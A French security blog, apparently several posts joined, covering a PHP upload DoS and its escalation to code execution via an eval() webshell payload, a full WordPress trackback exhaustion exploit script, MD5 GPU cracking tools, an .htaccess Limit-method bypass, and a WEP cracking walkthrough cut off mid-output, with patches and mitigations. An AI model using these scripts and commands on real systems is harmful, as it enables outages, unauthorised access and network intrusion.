Concept

Lorsque l’on envoie une requête POST à un script PHP avec le content-type « multipart/form-data » et que l’on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l’upload de fichiers. Après l’exécution du script, les fichiers temporaires sont normalement effacés.

Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l’exécution du script et donc la suppression qui devrait en découler.

Le denial of service apparait lorsque l’on crée bons nombres de requêtes (ca rappelle vaguement la faille wordpress, et la plupart des DoS bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).

Lorsque vous envoyez cette requête au serveur web, il s’écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.

N’importe quel site tournant sous PHP et où l’upload de fichier est activé (configuration par défaut) est vulnérable. Il n’est pas nécessaire d’avoir un formulaire d’upload pour exécuter l’exploit. Cette faille est donc critique. J’ai d’ailleurs lu dans mes RSS d’hier qu’OVH organisait une patch party cette nuit, je suppose que c’est pour protéger ses mutualisés de cette faille.

PHP intègre deux paramètres de configuration qui ont attrait à l’upload:

upload_max_filesize
post_max_size

Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.

Notions d’enrayement

Trois workarounds sont proposés concernant cette faille:

• Désactiver l’upload de fichier
  Si vous n’avez pas besoin d’uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.
  file_uploads = Off dans le php.ini

• Installer PHP 5.3.1
  Si vous ne pouvez pas désactiver l’upload de fichiers, alors il convient d’upgrader PHP à la version 5.3.1.

  Cette nouvelle version intègre un patch pour la faille:
  En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d’enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.

• Installer Suhosin PHP Extension /!\
  L’extension Suhosin possède une option nommée « suhosin.upload.max_uploads ». Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.
  /!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.

Tests dans des environnements de production

• PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3


Timeline:
14:50 – started the attack
14:51 : web server is no longer responsive.
load average: 102.02, 30.68, 10.68
14:52 : web server is not responsive.
load average: 129.95, 49.29, 18.05
14:52 – attack is aborted
14:53 – web server is not responsive.
load average: 143.58, 67.90, 26.41
14:54 – web server is not responsive.
load average: 149.60, 89.58, 37.93
16:05 – web server is not responsive.
load average: 151.64, 120.91, 60.94


Vérification du nombre de fichiers temporaires crée par l’auteur:

$ls -la /tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0

Création d’un fichier pour compter le nombre de fichiers crées:

$php count_files_from_dir.php /tmp/php*
2.419.649

Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.

Si l’on redémarre le serveur, ces fichiers ne sont pas effacés.

• PHP on FreeBSD 7.2 / PHP Version 5.2.9


Timeline:
14:00 – attack is started.
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))
load average: 87:22, 22.61, 9.9
14:02 – attack is aborted.
14:06 – web server is no longer responsive.
load averages: 45.42, 42.35, 22.59
14:11 – web server is not responsive.
load averages: 26.77, 35.78, 23.49
The system is slowed down to a crawl.
Basically you cannot even write a command in a remote PUTTY session.
14:17 – web server is not responsive.
The console is continuously displaying kernel error messages like:
swap_pager_getswapspace(2): failed
swap_pager_getswapspace(16): failed
swap_pager_getswapspace(3): failed
…
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes
…
14:23 – web server is responsive.
load averages: 0.79, 29.10, 37.13

Même chose lorsque l’auteur tente de compter les fichiers temporaires:

$ls -la /var/tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0
$ls -la /var/tmp/php
Display all 117490 possibilities? (y or n)

Donc nous avons 117490 fichiers temporaires sur le serveur.

• PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0


Timeline:
12:30 – started the attack
12:30 + few seconds: CPU usage => 100%


En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.

Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-’z’, ‘A’-’Z’, ‘0′-’9′).
Exemple: php1A00.tmp

12:31 – attack is aborted
12:39 – CPU usage is still 100%, web server is not responsive.
13:08 – CPU usage is still 100%, web server is responsive.
14:08 – CPU usage is 97%
14:34 – CPU usage is 97%

Deux heures plus tard l’utilisation du CPU n’est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l’utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.

• PHP on OpenBSD 4.6 / PHP Version 5.2.10


Timeline:
12:00 – started the attack
12:00 + few seconds: CPU usage => 100%
12:01 – attack is aborted
12:01 – web server is no longer responsive.
load averages: 120.42, 50.35, 20.59
12:04 – web server is no longer responsive.
load averages: 147.17, 80.74, 36.46
The system is slowed down to a crawl.
12:06 – web server is responsive.
load averages: 122.59, 96.03, 48.31


A ce point le serveur web est ralenti mais continue à servir les pages

12:07 – web server is responsive.
load averages: 63.67, 85.01, 47.26
12:10 – web server is responsive.
load averages: 6.56, 52.75, 40.03
12:12 – web server is responsive.
load averages: 0.55, 16.36, 26.50

Le système est revenu à la normale.

OpenBSD gère très bien ce type d’attaque, les effets n’ont durés que quelques minutes.

Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.

Exploitation

Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n’effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l’un de ces fichiers et de l’inclure.

Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: <?php eval($_REQUEST[x]); ?>.

Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l’un de ces fichiers et de l’inclure.

Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L’auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d’un fichier et à exécuter du PHP.

Le script python permettant de générer l’attaque n’a pas été publié. Enfin, pas par l’auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d’upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.

Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.

Références

L’équipe d’Acunetix essentiellement connue pour son scanner de failles web; devenu d’ailleurs entre temps un scanner de port, un soft d’exploitation d’injection SQL, un forgeur de packet HTTP et j’en passe; a averti l’équipe PHP le 27 octobre. L’auteur de cette découverte est bogdan de l’équipe Acunetix. On notera d’ailleurs avec intérêt qu’Acunetix n’a pas sorti l’adviso trois jours après avoir contacté le vendor; suivez mon regard :-)

Correction rapide

On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:
apt-get install php5-suhosin
(http://packages.debian.org/lenny/php5-suhosin)

La configuration se passe dans /etc/php5/apache2/conf.d

suhosin.upload.max_uploads
Type: Integer
Default: 25
Defines the maximum number of files that may be uploaded with one request.

4. C’est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.

01h25, c’est l’heure à laquelle j’écris ce billet: vous m’excuserez donc pour les fautes d’orthographes du billet cet article c’est un peu une « Breaking News ».

Aujourd’hui a donc été release un « WordPress Exhaustion Exploit », c’est une appellation relativement savante pour dire que ca peut faire sauter les services d’un serveur en 36 lignes de code. Je viens de le tester sur l’un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n’est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.

L’attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c’est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.

La faille en elle-même c’est quoi ? Elle se situe au niveau de la gestion de l’encodage du titre.

if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}


En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:

mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)

Dans charset_d_origine on peut spécifier plusieurs charsets. Si l’on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu’elle a trouvé le meilleur, elle va transformer chaine_que_l’on_veut_convertir en nouveau_charset.

Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu’il y a 23 333 charsets d’origine possible (« UTF-8, » fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l’on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l’on envoie la requête une fois, le serveur la traite, maintenant si on répète l’opération sur un délai très court le serveur apprécie moins. C’est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.

<?
if(count($argv) < 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?>

Pour l’enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:

$charset = $_POST['charset'];

et la remplacer par:

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Ce patch permet d’enlever les virgules, du coup le script n’a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L’autre façon de passer un charset_d_origine à la fonction c’est un tableau, là on va pas faire dans la dentelle, si c’est un tableau, on exit.

Sinon vous pouvez toujours deny from all wp-trackback.php ;-)

L’exploit a été posté sur Full-Disclosure aujourd’hui à 14h30. Il semble avoir été découvert par rooibo et amélioré par Zerial. Ce n’est vraiment pas impossible que d’ici quelques jours de joyeux lurons s’amusent à attaquer les WordPress des bloggeurs « influents » les plus connus. Rooibo explique sur son blog qu’il a avertit l’équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.

Le correctif proposé est celui de roobio, je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

Rapide update: WordPress vient de release la version 2.8.5.

Voici le diff sur le fichier qui nous intéresse:
john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
--- wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
+++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
@@ -50,7 +50,7 @@
$blog_name = stripslashes($_POST['blog_name']);

if ($charset)
- $charset = strtoupper( trim($charset) );
+ $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
else
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';


Sinon j’ai fait le diff complet ici, car je ne trouve pas l’officiel chez WordPress: diff WordPress-2.8.4 WordPress 2.8.5

La plupart des développeurs utilisent généralement le MD5 pour stocker les données sensibles de leurs utilisateurs (mot de passe, parfois numéro de carte bleu, et ainsi de suite…). Ces derniers ont tendance à considérer cette méthode de hachage comme fiable alors qu’elle ne l’est pas. En effet, dès 1996, des chercheurs en sécurité ont mis en exergue la possibilité de créer des collisions. En 2004, les collisions complètes sont découvertes et le MD5 n’est dès lors plus considéré comme fiable d’un point de vue purement cryptographique. Cependant, sa facilité d’implémentation avec PHP à l’aide de md5(); et la méconnaissance des développeurs fait que cette méthode est encore très largement rependue au détriment de fonctions de hachage plus récentes et donc plus robustes comme SHA-256.

Suite à ces découvertes, plusieurs logiciels ont vu le jour afin de permettre de bruteforcer cette méthode de hachage (et pas uniquement celle-ci). Je suis souvent amené à devoir cracker ces chaines pour montrer au décideur pressé que le travail d’obfuscation des données par son développeur ou sysadmin n’est en réalité pas vraiment fiable. « Oui vous avez réussi à accéder à ma base de donnée, et alors ? Les données de nos clients sont cryptées ». Pour montrer au décideur qu’il fait fausse route, je me dois donc souvent de « bruteforcer » une ou plusieurs informations.

Les logiciels automatisant le bruteforce ont assez largement évolués récemment, passant d’une utilisation CPU, à CPU multi-core, et désormais CPU + GPU. En effet, le reversing des méthodes de hachage fascine, et remet chaque jour un peu plus en question la sécurité basée sur ces méthodes (surtout MD5 là pour le coup). Il suffit par exemple de voir l’excellent travail sur les certificats SSL: Creating a rogue CA certificate. Un fail dans une méthode remet en question bien plus de choses que la méthode en elle-même.

GPU est l’acronyme de Graphics Processing Unit, grosso-modo, l’utilisation de la puissance de calcul de votre carte graphique. Ce vecteur de puissance était jusqu’alors inexploité pour la simple et bonne raison que leur utilisation était closed-source. Nvidia a largement ouvert et démocratisé l’accessibilité aux processeurs graphiques en mettant à disposition un environnement de développement nommé CUDA.

Voici donc un petit comparatif des logiciels, le but est avant tout de démontrer en quoi l’utilisation des GPUs constitue une avancée non négligeable (tiens ça me rappelle une histoire de PS3 montées en grappes), et surtout de montrer qu’à fonctionnement équivalent, ils ne sont pas tous aussi rapides. L’autre but est bien évidement de vous sensibiliser si vous utilisez toujours cette méthode de cryptage dans vos sites (je fais le malin, mais WordPress utilise le md5 pour stocker les passwords).

Machine utilisée pour ce test:
Dell XPS M1530
Intel Core 2 Duo CPU T9300 2,50 Ghz
NVIDIA GeForce Go 8600M GT, 256 MB

Comparatif des softs
J’étais parti pour inclure John the Ripper dans le test, mais il fallait employer un hack. Je me suis donc concentré sur les softs faisant bien nativement du bruteforce de MD5.

CAIN (http://www.oxid.it/cain.html)
Bon, à la décharge de CAIN, il ne sert pas uniquement à bruteforcer des hashs. C’est un couteau suisse qui permet de faire de l’ARP Poisoning, d’appliquer des filtres de snif etc. Donc bon, considérons que sa GUI ainsi que l’essence du soft font que ce n’est pas sa force, mais tout de même:
Résultat obtenu: 7 Millions h/s

MDcrack (Shot 1) (http://membres.lycos.fr/mdcrack/)
Probablement l’un des plus anciens et des plus connus soft de bruteforce de MD5. Tout en command-line.
Dans ce premier shot, pour simuler l’évolution, je l’ai limité à un seul CORE pour le CPU.
Résultat obtenu: 12,5 Millions h/s

Le CPU est sollicité à 50% ce qui est parfaitement logique compte tenu du fait que j’ai un Dual CORE.

MDcrack (Shot 2) (http://membres.lycos.fr/mdcrack/)
Pour le second shot, je décide d’utiliser pleinement mon CPU. C’est à dire, avant que l’on utilise les GPU, ce qui se faisait de mieux en matière de bruteforce. J’ai un core DUO, je double sans surprise.
Résultat obtenu: 24 Millions h/s

GPU MD5 CRACK (http://bvernoux.free.fr/md5/index.php)
Cette fois nous utilisons un bruteforcer sollicitant les GPUs. Malhreusement il dispose d’une GUI qui doit impacter ses perfs mais voyons tout de même la différence:
Résultat obtenu: 44 Millions h/s !

Extreme GPU Bruteforcer (http://www.insidepro.com/eng/egb.shtml)
Un autre GPU Bruteforcer, cette fois en command-line, mais on remarque que lui non plus ne sollicte pas le CPU au maximum.
Résultat obtenu: 53 Millions h/s !

BarsWF (http://3.14.by/en/md5)
Là, on passe en mode uber-gore. On constate avec ce logiciel une réelle maximisation de l’utilisation CPU + GPU. La courbe d’utilisation CPU n’est plus sinusoidale ici. Je n’ai pas une grosse config pour le coup, reportez vous à la conclusion pour voir ce qu’il a vraiment dans le sac :-)
Résultat obtenu: 124 Millions h/s !

Conclusion

Vous devez mieux comprendre pourquoi l’image illustrant ce billet est un logo Nvidia. La rapidité de bruteforce via GPU n’est en rien comparable à ce que l’on pouvait exploiter il y a encore quelques années. J’ai demandé à un collègue qui a un double CORE, et une CG ATI (ATI Radeon HD 4870) de réaliser le test pour moi:

*¦ Key: kshnmhwi Avg.Total: 1066.40 MHash/sec ¦

¦ Hash:87a2f7772d361d70d4b43cb5141a50e1 ¦

¦ Progress: 28.92 % ETC 0 days 0 hours 2 min 19 sec ¦

+———————————————————–+

– Key is: johnjean——————————————
Résultat obtenu avec BarWF: 1 066 Millions h/s !
Deux minutes pour mettre à mal la chaine: johnjean

Je n’ai évoqué ici que la maximisation de tentative de hash/s, pas le temps global que met une chaine à être forcée. Lors de mon prochain billet je tenterai d’établir un comparatif avec les méthodes d’attaque par rainbow table. A noter également que je n’ai pas parlé de la suite Elcomsoft Distributed Password Recovery qui permet de monter des grappes de travail. En gros l’application se divise en deux parties une cliente et une serveur. On peut donc créer un serveur et relier 20 machines dessus. Avec des machines comme celle de mon collègue (1 066 Millions h/s) bruteforcer une base de donnée client pour en extraire les pass et plus ne doit pas prendre bien longtemps. N’hésitez donc pas à modifier vos méthodes de stockage même si les énorme montage sont généralement reservé aux agences à trois lettres :-) Il va sans dire que les signatures de fichier en MD5 sont tout aussi faillible que ce que vous encryptez.

PS: Voici plus d’un mois que j’avais posté, mais je viens de trouver un logiciel me permettant de blogger depuis le train, cela devrait reprendre. (BlogDesk)

Bien, donc imaginons que vous avez développé www.example.com. Vous avez aussi historiquement une dizaine de sites, example1.com, example2.com, example3.com et ainsi de suite. Vous souhaitez pouvoir gérer les accès aux répertoires /admin/ par le biais d’un login unifié par Mysql; Comprendre: déployer le même htaccess partout qui permet de checker dans une db si tel utilisateur a accès à tel site ou pas.  Au delà du fait que vous allez avoir besoin de mod_auth_mysql, il vous faut un serveur Mysql dans lequel l’ensemble des htaccess iront taper pour savoir si les utilisateurs peuvent se loger ou non. Autre exemple, example.com prend de l’ampleur, les requêtes SQL sont déjà optimisées mais elles mettent cependant le serveur sur les rotules tellement il y a de visiteurs sur le site, même chose, besoin d’un serveur Mysql à distance (je n’entend pas troller ici sur l’affinage des requêtes, l’optimisation hardware, etc ;) ).

Donc, comment permettons nous à Mysql d’écouter à distance ? C’est en réalité assez simple, mais comme ce n’est pas si évident que cela de retrouver sur google comment faire dans une seul document, je fais ce billet qui tente de condenser l’information.

La première chose à faire est d’aller modifier votre /etc/mysql/my.cnf afin de commenter la ligne suivante:

bind-address           = 127.0.0.1 devient donc
#bind-address           = 127.0.0.1

Vous devez ensuite, comme d’habitude, redémarrer mysql:

[john@coincoin:~]# /etc/init.d/mysql restart
Stopping MySQL database server: mysqld.
Starting MySQL database server: mysqld.

Vous venez d’enlever l’écoute locale du serveur Mysql. Désormais, vous pouvez créer vos utilisateurs. Et c’est ici qu’il faut être vigilant, si je reprend l’exemple d’avant (example2.com, example3.com, etc), potentiellement nous avons besoin qu’un utilisateur Mysql soit crée afin d’accéder aux informations. Mais ce n’est pas parce que 10 serveurs peuvent avoir besoin de contacter notre serveur Mysql que cet utilisateur doit avoir les droits %. Il convient de gérer précisement les autorisations de chaque utilisateur. Même si la solution de facilité souvent employée par les webmasters est de mettre en droit « % » (le % est une wildcard qui permet à l’utilisateur Mysql de se connecter depuis n’importe où), en cas de faille de type Injection Mysql, c’est la porte ouverte à n’importe qui pour collecter les informations (alors que de devoir faire relai sur le serveur qui possède la faille est beaucoup plus rébarbatif).

Donc pour résumer, ce qu’il ne faut pas faire:

CREATE USER 'example'@'%' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'%' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'%';

Là, vous créez un utilisateur qui peut se connecter de n’importe ou. Par contre si example.com est hébergé sur 80.80.80.80, voici ce qu’il convient mieux de faire:

CREATE USER 'example'@'88.80.80.80' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'88.80.80.80' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR
0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;
CREATE DATABASE IF NOT EXISTS `example` ;
GRANT ALL PRIVILEGES ON `example` . * TO 'example'@'88.80.80.80;

Dans le cas où vous hébergez un site sur le serveur Mysql directement, et que vous n’avez pas besoin de contacter à distance pour l’utilisateur Mysql, vous pouvez mettre directement localhost, autant être logique. Et si d’aventure, vous n’avez pas envie de granter les accès immédiatement:

CREATE USER 'example'@'localhost' IDENTIFIED BY '****';
GRANT USAGE ON * . * TO 'example'@'localhost' IDENTIFIED BY '****' WITH MAX_QUERIES_PER_HOUR 0
MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ;

Malgré tout cela, Ca ne marche pas ?!
Il n’est pas impossible que IPTABLES rejette les connexions entrantes, vous devez donc autoriser les serveurs distants à vous contacter, là encore c’est comme le % ou l’IP directement, il y a deux écoles. Soit c’est Open-bar:

/sbin/iptables -A INPUT -i eth0 -p tcp --destination-port 3306 -j ACCEPT

Soit on met l’adresse IP du serveur qui peut venir taper sur le 3306:

/sbin/iptables -A INPUT -i eth0 -s 80.80.80.80 -p tcp --destination-port 3306 -j ACCEPT

N.B:  Rendre vos bases de données accessibles depuis l’extérieur n’est pas synonyme de faiblesse de sécurité si les choses sont bien faites. Pour résumer:

• On commente bind-adress dans /etc/mysql/my.cnf
• On crée les utilisateurs avec les droits NECESSAIRES, pas plus. Autrement dit, on autorise depuis l’adresse IP d’où ils contactent et jamais depuis partout (%). Si l’utilisateur est local, on ne l’authentifie que depuis localhost.
• On crée des règles iptables pour autoriser les serveurs qui ont le droit de rentrer, pas pour tout le monde (-s 80.80.80.80).

Bonnes bidouilles.

Bon j’avoue, j’ai un peu triché, derrière ce titre racoleur se trouve une erreur de configuration assez grossière, mais que l’on retrouve, sans exagérer dans 70% des cas. Le premier responsable de cette faille est, il me semble, le site http://www.commentcamarche.net/. Pourquoi ca ? Simplement parce qu’ils sortent premier sur la recherche « Création htaccess« .

Et comment nous proposent-ils de créer un htaccess ?
Je cite:

ErrorDocument 403 http://www.commentcamarche.net/accesrefuse.php3
AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /dev/null
AuthName "Accès sécurisé au site CCM"
AuthType Basic
<LIMIT GET POST>
Require valid-user
</LIMIT>

Donc si l’on fait un tour rapide:

• La première ligne donne la page où l’on doit rediriger lors d’une 403 (Erreur d’auth ou deny from all par exemple)
• La seconde donne le chemin du fichier contenant les mots de passe
• La troisième le chemin du fichier de groupe
• La quatrième, c’est le wording du prompt login / pass
• La cinquième donne le mode d’authentification, dans ce cas auth basic (mod_auth_basic)
• Enfin, les trois dernières expliquent que pour exécuter les requêtes GET et POST, il faut être un utilisateur authentifié.

Tout cela est assez schématisé, mais l’idée est là. Donc si je tente d’accéder à la page protégée, j’effectuerais une requête de type:

GET http://www.example.com/admin/index.php HTTP/1.0

Et je vais donc atterir sur une 401 Authorization Required. Où se situe l’astuce ? Apache ne gère pas correctement les requêtes mal formée. Je m’explique, si à la place de faire un GET ou un POST, je fais un:

JOHN http://www.example.com/admin/index.php HTTP/1.0

Apache me renverra le contenu de la page présente derrière /admin/index.php (200). Lorsque je dis que 70% des sites sont faillibles, c’est tellement il est facile pour un webmaster paresseux de réaliser cette configuration. htaccess permet de modifier localement la configuration d’apache, du coup chaque webmaster peut créer sa propre faille en suivant les conseils d’un site généraliste comme commentcamarche. Deux coupables: le webmaster car il dépose une config qu’il ne comprend pas et Apache car il interprète les requêtes mal formée comme étant des GET. Grosso-modo, il est possible pour le premier venu d’aller se balader sur les backoffices en forgeant simplement sa requête à base de JOHN.

Comment patchons nous cette faille ?
Tout simplement en ôtant de notre htaccess la limit GET, POST. En effet, aucun intérêt de limiter à GET et POST le require valid-user si ce dernier est effectivement nécessaire. D’ailleurs dans les préconisations globales d’apache, ils recommandent de ne pas utiliser les limit lors de la création de htaccess. Je cite:

Access controls are normally effective for all access methods, and this is the usual desired behavior. In the general case, access control directives should not be placed within a <Limit> section.

The purpose of the <Limit> directive is to restrict the effect of the access controls to the nominated HTTP methods. For all other methods, the access restrictions that are enclosed in the <Limit> bracket will have no effect. The following example applies the access control only to the methods POST, PUT, and DELETE, leaving all other methods unprotected.

Il y a deux méthodes pour analyser les données: soit l’on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d’injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que BackTrack 3 optimise assez largement les algos pour cracker, il n’est plus nécessaire d’avoir beaucoup d’IVs pour décrypter une clé WEP.

Après avoir booté sur le LiveCD, voici comment cela se présente:

// Tout d’abord on charge le driver pour la fameuse carte
bt ~ # modprobe -r iwl3945
bt ~ # modprobe ipwraw

// On la passe en mode monitor
bt ~ # airmon-ng start wifi0

// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.
bt ~ # airodump-ng wifi0

// Le but est de prendre celle qui a le plus de beacons, et lorsque l’on choisit celle-ci, on repère bien le channel, le BSSID et l’ESSID. Dans mon cas, supposons:
Channel: 11
BSSID: 00:01:02:03:04:05
ESSID: RESEAU-CRYPT

A partir d’ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d’emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.

// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d’abord, je vais m’auth sur le système distant (-e représente le SSID de la cible, -h représente l’adresse Mac source, généralement, nous):
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0

Généralement cette commande doit vous retourner:
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:56:39 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».

11:56:39 Sending Authentication Request (Open System) [ACK]
11:56:39 Authentication successful
11:56:39 Sending Association Request [ACK]
11:56:39 Association successful (AID: 1)

Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).

bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:55:23 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:55:23 wifi0 is on channel 12, but the AP uses channel 11

Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:

bt ~ # airmon-ng start wifi0 11
wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39 Association successful (AID: 1). Nous allons désormais générer une keystream valide afin de forger notre packet d’injection:

bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)
11:57:55 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:57:55 Waiting for a data packet…
Read 2791 packets…

Size: 371, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:01:02:03:04:05
